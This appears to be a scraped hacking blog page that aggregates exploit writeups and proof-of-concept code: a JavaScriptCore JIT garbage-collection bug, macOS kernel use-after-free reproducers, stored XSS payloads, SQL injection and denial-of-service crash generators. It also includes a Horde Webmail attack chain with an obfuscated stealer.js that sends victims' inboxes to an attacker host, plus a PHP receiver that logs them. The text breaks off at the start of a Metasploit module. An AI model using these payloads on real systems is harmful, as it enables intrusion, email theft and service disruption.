See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1699 for a similar issue.
The DFG JIT compiler attempts to determine whether a DFG IR operation could cause garbage collection (GC) during its execution [1]. With this, it is then possible for the compiler to determine whether there could be a GC between point A and point B in a function, which in turn can be used to omit write barriers (see e.g. https://v8.dev/blog/concurrent-marking#reducing-marking-pause for an explanation of write barriers) [2]. For example, in case an (incremental) GC cannot happen between an allocation of an object and a property store to it, the write barrier after the property store can be omitted (because in that case the newly allocated object could not already have been marked, so must be white). However, if the analysis is incorrect and a GC can happen in between, then the emitted code can cause use-after-free issues, e.g. if an unmarked (white) object is assigned as property to an object that was marked during an unexpected GC (and is thus black).
Since commit 9725889d5172a204aa1120e06be9eab117357f4b [3] "Add code to validate expected GC activity modelled by doesGC() against what the runtime encounters", JSC, in debug builds, asserts that the information computed by doesGC is correct: "In DFG::SpeculativeJIT::compile() and FTL::LowerDFGToB3::compileNode(), before emitting code / B3IR for each DFG node, we emit a write to set Heap::m_expectDoesGC to the value returned by doesGC() for that node. In the runtime (i.e. in allocateCell() and functions that can resolve a rope), we assert that Heap::m_expectDoesGC is true.". The following sample (found through fuzzing and then simplified), triggers such an assertion:
function f(a) {
return 0 in a;
}
for (let i = 0; i < 100000; i++) {
const s = new String('asdf');
s[42] = 'x'; // Give it ArrayStorage
f(s);
}
Here, the `in` operation is converted to a HasIndexedProperty DFG operation [4]. Since the String object has ArrayStorage (due to the additional element), DFGClobberize will report that it does not write to the heap [5]. Afterwards, doesGC reports that the operation cannot trigger GC [6]. However, during the execution of the operation (in the DFG JIT implemented by a call to operationHasIndexedPropertyByInt [7]) the code ends up in JSString::getIndex (to determine whether the index is valid in the underlying string), which can end up flattening a rope string, thus causing a heap allocation and thus potentially causing garbage collection. This is where, in debug builds, the assertion fails:
ASSERTION FAILED: vm()->heap.expectDoesGC()
../../Source/JavaScriptCore/runtime/JSString.h(1023) : WTF::StringView JSC::JSString::unsafeView(JSC::ExecState *) const
1 0x10d67e769 WTFCrash
2 0x10bb6948b WTFCrashWithInfo(int, char const*, char const*, int)
3 0x10bba9e59 JSC::JSString::unsafeView(JSC::ExecState*) const
4 0x10bba9c6e JSC::JSString::getIndex(JSC::ExecState*, unsigned int)
5 0x10c712a24 JSC::JSString::getStringPropertySlot(JSC::ExecState*, unsigned int, JSC::PropertySlot&)
6 0x10d330b90 JSC::StringObject::getOwnPropertySlotByIndex(JSC::JSObject*, JSC::ExecState*, unsigned int, JSC::PropertySlot&)
7 0x10bbaa368 JSC::JSObject::getPropertySlot(JSC::ExecState*, unsigned int, JSC::PropertySlot&)
8 0x10d20d831 JSC::JSObject::hasPropertyGeneric(JSC::ExecState*, unsigned int, JSC::PropertySlot::InternalMethodType) const
9 0x10c70132f operationHasIndexedPropertyByInt
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863592083
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Reproduction
Repros on 10.14.3 when run as root. It may need multiple tries to trigger.
$ clang -o in6_selectsrc in6_selectsrc.cc
$ while 1; do sudo ./in6_selectsrc; done
res0: 3
res1: 0
res1.5: -1 // failure expected here
res2: 0
done
...
[crash]
# Explanation
The following snippet is taken from in6_pcbdetach:
```
void
in6_pcbdetach(struct inpcb *inp)
{
// ...
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;
inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL; // <- good
}
ip6_freepcbopts(inp->in6p_outputopts); // <- bad
ROUTE_RELEASE(&inp->in6p_route);
// free IPv4 related resources in case of mapped addr
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options); // <- good
inp->inp_options = NULL;
}
```
Notice that freed options must also be cleared so they are not accidentally reused.
This can happen when a socket is disconnected and reconnected without being destroyed.
In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be
used after they are freed.
This specific PoC requires root because I use raw sockets, but it's possible other socket
types suffer from this same vulnerability.
# Crash Log
panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:
CR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0
RAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000
RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001
R8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000
R12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000
RFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0
Backtrace (CPU 4), Frame : Return Address
0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa
0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63
0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d
0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114
0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75
0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284
0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f
0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16
BSD process name corresponding to current thread: in6_selectsrc
Boot args: keepsyms=1 -v=1
Mac OS version:
18D109
#include <stdio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <net/if.h>
#include <string.h>
#include <netinet/in.h>
#include <errno.h>
/*
# Reproduction
Repros on 10.14.3 when run as root. It may need multiple tries to trigger.
$ clang -o in6_selectsrc in6_selectsrc.cc
$ while 1; do sudo ./in6_selectsrc; done
res0: 3
res1: 0
res1.5: -1 // failure expected here
res2: 0
done
...
[crash]
# Explanation
The following snippet is taken from in6_pcbdetach:
```
void
in6_pcbdetach(struct inpcb *inp)
{
// ...
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;
inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL; // <- good
}
ip6_freepcbopts(inp->in6p_outputopts); // <- bad
ROUTE_RELEASE(&inp->in6p_route);
// free IPv4 related resources in case of mapped addr
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options); // <- good
inp->inp_options = NULL;
}
```
Notice that freed options must also be cleared so they are not accidentally reused.
This can happen when a socket is disconnected and reconnected without being destroyed.
In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be
used after they are freed.
This specific PoC requires root because I use raw sockets, but it's possible other socket
types suffer from this same vulnerability.
# Crash Log
panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:
CR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0
RAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000
RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001
R8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000
R12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000
RFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0
Backtrace (CPU 4), Frame : Return Address
0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa
0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63
0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d
0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0
0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114
0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75
0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284
0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f
0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16
BSD process name corresponding to current thread: in6_selectsrc
Boot args: keepsyms=1 -v=1
Mac OS version:
18D109
*/
#define IPPROTO_IP 0
#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }
#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }
int main() {
int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);
printf("res0: %d\n", s);
struct sockaddr_in6 sa1 = {
.sin6_len = sizeof(struct sockaddr_in6),
.sin6_family = AF_INET6,
.sin6_port = 65000,
.sin6_flowinfo = 3,
.sin6_addr = IN6_ADDR_LOOPBACK,
.sin6_scope_id = 0,
};
struct sockaddr_in6 sa2 = {
.sin6_len = sizeof(struct sockaddr_in6),
.sin6_family = AF_INET6,
.sin6_port = 65001,
.sin6_flowinfo = 3,
.sin6_addr = IN6_ADDR_ANY,
.sin6_scope_id = 0,
};
int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1));
printf("res1: %d\n", res);
unsigned char buffer[4] = {};
res = setsockopt(s, 41, 50, buffer, sizeof(buffer));
printf("res1.5: %d\n", res);
res = connect(s, (const sockaddr*)&sa2, sizeof(sa2));
printf("res2: %d\n", res);
close(s);
printf("done\n");
}
ClusterFuzz found the following crash, which indicates that TCP sockets may be affected as well.
==16571==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000c50 at pc 0x7f15a39744c0 bp 0x7ffd72521250 sp 0x7ffd72521248
READ of size 8 at 0x610000000c50 thread T0
SCARINESS: 51 (8-byte-read-heap-use-after-free)
#0 0x7f15a39744bf in ip6_getpcbopt /src/bsd/netinet6/ip6_output.c:3140:25
#1 0x7f15a3970cb2 in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2924:13
#2 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12
#3 0x7f15a344680c in sogetoptlock /src/bsd/kern/uipc_socket.c:5512:12
#4 0x7f15a346ea86 in getsockopt /src/bsd/kern/uipc_syscalls.c:2517:10
0x610000000c50 is located 16 bytes inside of 192-byte region [0x610000000c40,0x610000000d00)
freed by thread T0 here:
#0 0x497a3d in free _asan_rtl_:3
#1 0x7f15a392329d in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3
#2 0x7f15a38733c7 in tcp_close /src/bsd/netinet/tcp_subr.c:1591:3
#3 0x7f15a3898159 in tcp_usr_disconnect /src/bsd/netinet/tcp_usrreq.c:743:7
#4 0x7f15a34323df in sodisconnectxlocked /src/bsd/kern/uipc_socket.c:1821:10
#5 0x7f15a34324c5 in sodisconnectx /src/bsd/kern/uipc_socket.c:1839:10
#6 0x7f15a34643e8 in disconnectx_nocancel /src/bsd/kern/uipc_syscalls.c:1136:10
previously allocated by thread T0 here:
#0 0x497cbd in __interceptor_malloc _asan_rtl_:3
#1 0x7f15a3a28f28 in __MALLOC /src/fuzzing/zalloc.c:63:10
#2 0x7f15a3973cf5 in ip6_pcbopt /src/bsd/netinet6/ip6_output.c:3116:9
#3 0x7f15a397193b in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2637:13
#4 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12
#5 0x7f15a3440614 in sosetoptlock /src/bsd/kern/uipc_socket.c:4808:12
#6 0x7f15a346e45c in setsockopt /src/bsd/kern/uipc_syscalls.c:2461:10
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
/*
TCP-based reproducer for CVE-2019-8605
This has the benefit of being reachable from the app sandbox on iOS 12.2.
*/
#define IPV6_3542PKTINFO 46
int main() {
int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
printf("res0: %d\n", s);
unsigned char buffer[1] = {'\xaa'};
int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer));
printf("res1: %d\n", res);
res = disconnectx(s, 0, 0);
printf("res2: %d\n", res);
socklen_t buffer_len = sizeof(buffer);
res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len);
printf("res3: %d\n", res);
printf("got %d\n", buffer[0]);
close(s);
printf("done\n");
}
It seems that this TCP testcase I've posted works nicely for UaF reads, but getting a write isn't straightforward because calling disconnectx explicitly makes subsequent setsockopt and connect/bind/accept/etc. calls fail because the socket is marked as disconnected.
But there is still hope. PR_CONNREQUIRED is marked for TCP6, which means we may be able to connect twice (forcing a disconnect during the second connection) using the same TCP6 socket and have a similar situation to the original crash.
# Exploit Title: AUO Solar Data Recorder - Stored XSS
# Date: 2019-04-16
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.auo.com/zh-TW
# Version: AUO Solar Data Recorder all versions prior to v1.3.0
# Tested on: It is a proprietary devices: https://solar.auo.com/en-global/Support_Download_Center/index
# 1. Description:
# In AUO Solar Data Recorder web page,
# user can modify the system settings by access the /protect/config.htm.
# Attackers can inject malicious XSS code in parameter "addr" of post data.
# The value of addr will be stored in database, so that cause a stored XSS vulnerability.
# 2. Proof of Concept:
# Browse http://<Your<http://%3cYour> Modem IP>/protect/config.htm
# Send this post data:
addr= "<script>alert(123)</script>&dhcp=1
# Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting
# Date: 2019-05-21
# Exploit Author: Enter of VinCSS (Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus 9.3
# CVE : CVE-2019-12189
An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the SearchN.do search field.
The vulnerability stems from the confusion of both single quotes and semicolon in the query string of the URL.
payload: ';alert('XSS');' Attack vector: http:///site.com/SearchN.do
# Exploit Title: Zoho ManageEngine ServiceDesk Plus < 10.5 Incorrect Access Control
# Date: 2019-05-21
# Exploit Author: Enter of VinCSS (Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus < 10.5
# CVE : CVE-2019-12252
In Zoho ManageEngine ServiceDesk Plus through 10.5, users with the lowest privileges (guest) can view an arbitrary post by appending its number to the
SDNotify.do?notifyModule=Solution&mode=E-Mail¬ifyTo=SOLFORWARD&id= substring
# -*- coding: utf-8 -*-
# Exploit Title: BlueStacks 4.80.0.1060 - Denial of Service (PoC)
# Date: 21/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.bluestacks.com
# Software: https://www.bluestacks.com/download.html?utm_campaign=bluestacks-4-en
# Version: 4.80.0.1060
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script 'Bluestacks.py', it will create a new file 'exploit.txt'
# 2.- Copy the text from the generated exploit.txt file to clipboard
# 3.- Open BlueStacks
# 4.- Paste clipboard in the search field and click on the search button
# 5.- Crashed
buffer = "\x41" * 100000
f = open ("exploit.txt", "w")
f.write(buffer)
f.close()
#Exploit Title: RarmaRadio 2.72.3 - 'Username' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-21
#Vendor Homepage: http://www.raimersoft.com/
#Software Link: www.raimersoft.com/downloads/rarmaradio_setup.exe
#Tested Version: 2.72.3
#Tested on: Windows 7 Service Pack 1 x64
#Steps to produce the crash:
#1.- Run python code: rarmaradio_username.py
#2.- Open rarma_user.txt and copy content to clipboard
#3.- Open RarmaRadio
#4.- Select "Edit" > "Settings" > "Network"
#5.- In "Username" field paste Clipboard
#6.- Select "OK"
#7.- Crashed
cod = "\x41" * 5000
f = open('rarma_user.txt', 'w')
f.write(cod)
f.close()
#Exploit Title: TapinRadio 2.11.6 - 'Address' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-21
#Vendor Homepage: http://www.raimersoft.com/
#Software Link: www.raimersoft.com/downloads/tapinradio_setup_x64.exe
#Tested Version: 2.11.6
#Tested on: Windows 7 Service Pack 1 x64
#Steps to produce the crash:
#1.- Run python code: tapinadio_address.py
#2.- Open tapin_add.txt and copy content to clipboard
#3.- Open TapinRadio
#4.- Select "Settings" > "Preferences" > "Miscellaneous"
#5.- Select "Set Application Proxy..."" In "Address" field paste Clipboard
#6.- In Port type "444" > "Username" type "test" > Password type "1234"
#7.- Select "OK" and "OK"
#8.- Crashed
cod = "\x41" * 3000
f = open('tapin_add.txt', 'w')
f.write(cod)
f.close()
#Exploit Title: RarmaRadio 2.72.3 - 'Server' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-21
#Vendor Homepage: http://www.raimersoft.com/
#Software Link: www.raimersoft.com/downloads/rarmaradio_setup.exe
#Tested Version: 2.72.3
#Tested on: Windows 7 Service Pack 1 x64
#Steps to produce the crash:
#1.- Run python code: rarmaradio_server.py
#2.- Open rarma_ser.txt and copy content to clipboard
#3.- Open RarmaRadio
#4.- Select "Edit" > "Settings" > "Network"
#5.- In "Server" field paste Clipboard
#6.- Select "OK"
#7.- Crashed
cod = "\x41" * 4000
f = open('rarma_ser.txt', 'w')
f.write(cod)
f.close()
# Exploit Title: Carel pCOWeb - Unprotected Storage of Credentials
# Date: 2019-04-16
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.carel.com/
# Version: Carel pCOWeb all versions prior to B1.2.1
# Tested on: It is a proprietary devices: http://www.carel.com/product/pcoweb-card
# 1. Description:
# The devices, Carel pCOWeb, store plaintext passwords,
# which may allow sensitive information to be read by someone with access to the device.
# 2. Proof of Concept:
# Browse the maintain user page in website:
# http://<Your<http://%3cYour> Modem IP>/config/pw_changeusers.html
# The user's information include Description, Username and Password.
# In user page, we can find out that user passwords stored in plaintext.
# Exploit Title: Carel pCOWeb - Stored XSS
# Date: 2019-04-16
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.carel.com/
# Version: Carel pCOWeb all versions prior to B1.2.1
# Tested on: It is a proprietary devices: http://www.carel.com/product/pcoweb-card
# 1. Description:
# In Carel pCOWeb web page,
# user can modify the system configuration by access the /config/pw_snmp.html.
# Attackers can inject malicious XSS code in post data.
# The XSS code will be stored in database, so that cause a stored XSS vulnerability.
# 2. Proof of Concept:
# Browse http://<Your<http://%3cYour> Modem IP>/config/pw_snmp.html
# Send this post data:
%3Fscript%3Asetdb%28%27snmp%27%2C%27syscontact%27%29=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E
# The post data in URL decode format is:
?script:setdb('snmp','syscontact')="><script>alert(123)</script>
# Title: Horde Webmail - XSS + CSRF to SQLi, RCE, Stealing Emails <= v5.2.22
# Date: 17.05.2019
# Author: InfinitumIT
# Vendor Homepage: https://www.horde.org/
# Version: Up to v5.2.22.
# CVE: CVE-2019-12094 & CVE-2019-12095
# info@infinitumit.com.tr && numan.ozdemir@infinitumit.com.tr
# PoC: https://numanozdemir.com/respdisc/horde/horde.mp4
# Materials: https://numanozdemir.com/respdisc/horde/materials.zip
# Description:
# Attacker can combine "CSRF vulnerability in Trean Bookmarks (defaultly installed on Horde Groupware)" and
# "Stored XSS vulnerability in Horde TagCloud (defaultly installed)" vulnerabilities to steal victim's emails.
# Also:
# Attacker can use 3 different reflected XSS vulnerability to exploit Remote Command Execution, SQL Injection and Code Execution.
# To steal e-mails, attacker will send an e-mail to victim and victim will click the attacker's website.
# So, victim's inbox will be dumped in attacker's FTP.
# All of them vulnerabillities are valid for all Horde Webmail versions.
# Attacker will exploit the CSRF and XSS with: index.html
# Attacker will steal and post the emails with: stealer.js
# Attacker will save the emails with: stealer.php
# index.html Codes:
<script>
var url = "http://webmail.victimserver.com/trean/";
var params =
'iframe=0&popup=0&newFolder=&actionID=add_bookmark&url=http%3A%2F%2Ftest.com&title=vulnerability&description=vulnerability&treanBookmarkTags=%22%3E%3Cscript%2Fsrc%3D%22http%3A%2F%2Fyourwebsite.com%2Fhorde%2Fstealer.js%22%3E%3C%2Fscript%3E';
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);
</script>
<embed/src="http://webmail.victimserver.com/services/portal/"/height="1"/width="1">
# stealer.js Codes:
eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,58,47,47,99,111,100,101,46,106,113,117,101,114,121,46,99,111,109,47,106,113,117,101,114,121,45,51,46,51,46,49,46,109,105,110,46,106,115,39,62,60,47,115,99,114,105,112,116,62,60,115,99,114,105,112,116,62,102,117,110,99,116,105,111,110,32,115,116,101,97,108,40,115,116,97,114,116,44,32,101,110,100,41,123,118,97,114,32,115,116,97,114,116,59,118,97,114,32,101,110,100,59,118,97,114,32,105,59,102,111,114,40,105,61,115,116,97,114,116,59,32,105,60,61,101,110,100,59,32,105,43,43,41,123,36,46,103,101,116,40,39,104,116,116,112,58,47,47,119,101,98,109,97,105,108,46,118,105,99,116,105,109,115,101,114,118,101,114,46,99,111,109,47,105,109,112,47,118,105,101,119,46,112,104,112,63,97,99,116,105,111,110,73,68,61,118,105,101,119,95,115,111,117,114,99,101,38,105,100,61,48,38,109,117,105,100,61,123,53,125,73,78,66,79,88,39,43,105,44,32,102,117,110,99,116,105,111,110,40,100,97,116,97,41,123,118,97,114,32,120,109,108,72,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,120,109,108,72,116,116,112,46,111,112,101,110,40,39,80,79,83,84,39,44,32,39,104,116,116,112,58,47,47,121,111,117,114,119,101,98,115,105,116,101,46,99,111,109,47,104,111,114,100,101,47,115,116,101,97,108,101,114,46,112,104,112,39,44,32,116,114,117,101,41,59,120,109,108,72,116,116,112,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,39,67,111,110,116,101,110,116,45,84,121,112,101,39,44,32,39,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,39,41,59,120,109,108,72,116,116,112,46,115,101,110,100,40,39,105,110,98,111,120,61,39,43,100,97,116,97,41,59,125,41,59,125,114,101,116,117,114,110,32,105,59,125,115,116,101,97,108,40,56,44,49,53,41,59,60,47,115,99,114,105,112,116,62,34,41,59,10,47,47,32,115,116,101,97,108,40,120,44,121,41,32,61,32,115,116,101,97,108,32,102,114,111,109,32,105,100,32,120,32,116,111,32,105,100,32,121))
// It is charcoded, firstly decode and edit for yourself then encode again. Also dont forget to remove spaces!
# stealer.php Codes:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: *');
if($_POST['inbox']){
$logs = fopen("inbox.txt", "a+");
$data = $_POST['inbox']."
-----------------------------------------------------------------
".chr(13).chr(10).chr(13).chr(10);
fwrite($logs, $data);
}
?>
#
_____________________________________________________________________________________________________
# Reflected XSS to Remote Command Execution, Remote Code Execution and SQL Injection:
# http://webmail.victimserver.com/groupware/admin/user.php?user_name=XSS-PAYLOAD-HERE&form=update_f
# http://webmailvictimserver.com/groupware/admin/user.php?user_name=XSS-PAYLOAD-HERE&form=remove_f
# http://webmail.victimserver.com/groupware/admin/config/diff.php?app=XSS-PAYLOAD-HERE
# Attacker can execute commands & PHP codes remotely and inject harmful SQL queries.
# Also, attacker can create users too with those reflected XSS vulnerabilities.
# Stay Secure with InfinitumIT - infinitumit.com.tr
# -*- coding: utf-8 -*-
# Exploit Title: NetAware 1.20 - 'Add Block' Denial of Service (PoC)
# Date: 22/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.infiltration-systems.com
# Software: http://www.infiltration-systems.com/Files/netaware.zip
# Version: 1.20
# Tested on: Windows 7
# Proof of Concept:
# 1.- Run the python script 'NetAware.py', it will create a new file 'NetAware.txt'
# 2.- Copy the text from the generated NetAware.txt file to clipboard
# 3.- Open NetAware
# 4.- Go to 'Settings' > 'User Blocking'
# 5.- Click 'Add Block', paste clipboard in the field 'Add a website or keyword to be filtered...' and click 'OK'
# 6.- Select the block created and click 'Remove', you will see a crash
buffer = "\x41" * 512
f = open ("NetAware.txt", "w")
f.write(buffer)
f.close()
#Exploit Title: TapinRadio 2.11.6 - 'Uername' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-21
#Vendor Homepage: http://www.raimersoft.com/
#Software Link: www.raimersoft.com/downloads/tapinradio_setup_x64.exe
#Tested Version: 2.11.6
#Tested on: Windows 7 Service Pack 1 x64
#Steps to produce the crash:
#1.- Run python code: tapinadio_user.py
#2.- Open tapin_user.txt and copy content to clipboard
#3.- Open TapinRadio
#4.- Select "Settings" > "Preferences" > "Miscellaneous"
#5.- Select "Set Application Proxy..."" In "Username" field paste Clipboard
#6.- In Server type "1.1.1.1" > Port type 444 > Password type "1234"
#7.- Select "OK" and "OK"
#8.- Crashed
cod = "\x41" * 10000
f = open('tapin_user.txt', 'w')
f.write(cod)
f.close()
# Exploit Title: Nagiosxi username sql injection
# Date: 22/05/2019
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com
# Vendor Homepage: https://www.nagios.com
# Software Link: https://www.nagios.com/products/nagios-xi/
# Version: xi-5.6.1
# Tested on: MacOSX
#CVE: CVE-2019-12279
POC:
POST /nagiosxi/login.php?forgotpass HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/nagiosxi/login.php?forgotpass
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Connection: close
Cookie: nagiosxi=iu78vcultg46f35fq7lfbv8tc6
Upgrade-Insecure-Requests: 1
page=%2Fnagiosxi%2Flogin.php&pageopt=resetpass&nsp=cb6ad70efd0cc0b36ff4fc1d67cd70fb96a7e06622d281acb8810aa65485b03b&username={SQL INJECTION}
# -*- coding: utf-8 -*-
# Exploit Title: NetAware 1.20 - 'Share Name' Denial of Service (PoC)
# Date: 22/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.infiltration-systems.com
# Software: http://www.infiltration-systems.com/Files/netaware.zip
# Version: 1.20
# Tested on: Windows 7
# Proof of Concept:
# 1.- Run the python script 'NetAware_share.py', it will create a new file 'NetAware.txt'
# 2.- Copy the text from the generated NetAware.txt file to clipboard
# 3.- Open NetAware
# 4.- Click 'Manage Shares' > 'Add a New Share...'
# 5.- Paste clipboard in the field 'Share Name', in the field 'Share Path' write anything, e.g. test and the field 'User Limit' select Maximum allowed
# 6.- Click 'Ok', you will see a crash
buffer = "\x41" * 1000
f = open ("NetAware.txt", "w")
f.write(buffer)
f.close()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Feedback Assistant Race Condition',
'Description' => %q{
This module exploits a race condition vulnerability in Mac's Feedback Assistant.
A successful attempt would result in remote code execution under the context of
root.
},
'License' => MSF_LICENSE,
'Author' => [
'CodeColorist', # Discovery and exploit
'timwr', # Metasploit module
],
'References' => [
['CVE', '2019-8565'],
